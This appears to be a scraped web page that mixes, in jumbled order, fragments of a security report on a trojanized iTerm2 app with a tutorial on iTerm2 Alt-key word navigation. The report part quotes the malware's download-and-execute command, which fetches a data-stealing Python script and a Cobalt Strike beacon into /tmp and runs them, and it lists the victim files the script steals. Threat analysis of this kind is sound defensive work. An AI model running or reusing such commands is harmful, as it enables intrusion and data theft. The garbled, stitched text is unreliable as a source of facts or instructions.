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Searching VirusTotal for the Secure Sockets Layer (SSL) thumbprint that used revealed several other fraudulent websites. ~/Library/Application Support/iTerm2/SavedState/įurther analysis of the trojanized iTerm2 app’s Apple Distribution certificate led us to find similar trojanized apps on VirusTotal (Table 1), all of which were trojanized using the same method.~/Library/Application Support/VanDyke/SecureCRT/Config/.The Python script g.py collects the following system data and files from the victim’s machine, which the script then sends to the server:
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Download “GoogleUpdate” to the folder /tmp/GoogleUpdate and execute it.Download the g.py script to the folder /tmp/g.py and execute it."curl -sfo /tmp/g.py & chmod 777 /tmp/g.py & python /tmp/g.py & curl -sfo /tmp/GoogleUpdate & chmod 777 /tmp/GoogleUpdate & /tmp/GoogleUpdate".Once executed, the malware connects to its server and receives these instructions from it: This is a clever method for repacking legitimate apps that we have not seen before.
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The files that are downloaded from the legitimate website come in a ZIP file format, as opposed to the DMG file from the fraudulent website, as shown in Figure 2.Īccording to Objective-see’s blog post, the malicious codes contained in the libcrypto.2.dylib file are executed automatically when the victim runs the trojanized iTerm2 app. The user is redirected to this download URL for iTerm.dmg regardless of the app version the user selects to download from the fake website the real website has different URLs and files for various versions. Instead, the website contains a link, hxxp://from which users are able to download a macOS disk image file (DMG) called iTerm.dmg. However, the malicious file is not hosted on this website directly. The trojanized appĪs of September 15, is still active. This blog entry covers the malware’s details. This, in turn, downloads and runs other components, including the aforementioned g.py script and a Mach-O file called “GoogleUpdate” that contains a Cobalt Strike beacon payload. Your command line navigation will now be faster and more precise.Objective-see previously published a blog entry about this malware, which analyzed how the threat actor repacks the iTerm2 app to load the malicious libcrypto.2.dylib. The cursor will now “jump” over entire words as it does on other applications. Click “OK”.Ĭlose the menu and begin using the Alt and the left/right arrows immediately. This time, in the “Esc +” field, type lowercase “f”.
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Open the same context menu for Alt plus right ⌥→ and again change the action to “Send Escape Sequence”. In the “Esc +” field, type lowercase “b” and click “OK”. Double click it.Ĭhange the action from “Send Hex Code” to “Send Escape Sequence” (you might have to scroll a bit to find this). Within the “Key Mappings” pane, find the mapping for the Alt and left keys, which will look like this: ⌥←. Open the “Preferences” menu: either find it in the “iTerm2” dropdown menu along the top of the screen or press the Cmd and comma keys.
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Note: I refer to the “Alt” key throughout this post, which is the text written on my old 2013 MacBook Pro keyboard, but this is normally called the “Option” key in MacOS. With a little config, you can change this behaviour, which I’ll explain below. However, on first install, you can’t use the Option or Alt key (this key: ⌥) as you would in other applications: you can’t skip or jump over words by pressing Alt and the left or right keys.
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It has many more handy features than Terminal, is free to download and is also open source 🎉. ITerm2 is a replacement for the default Terminal application on MacOS.
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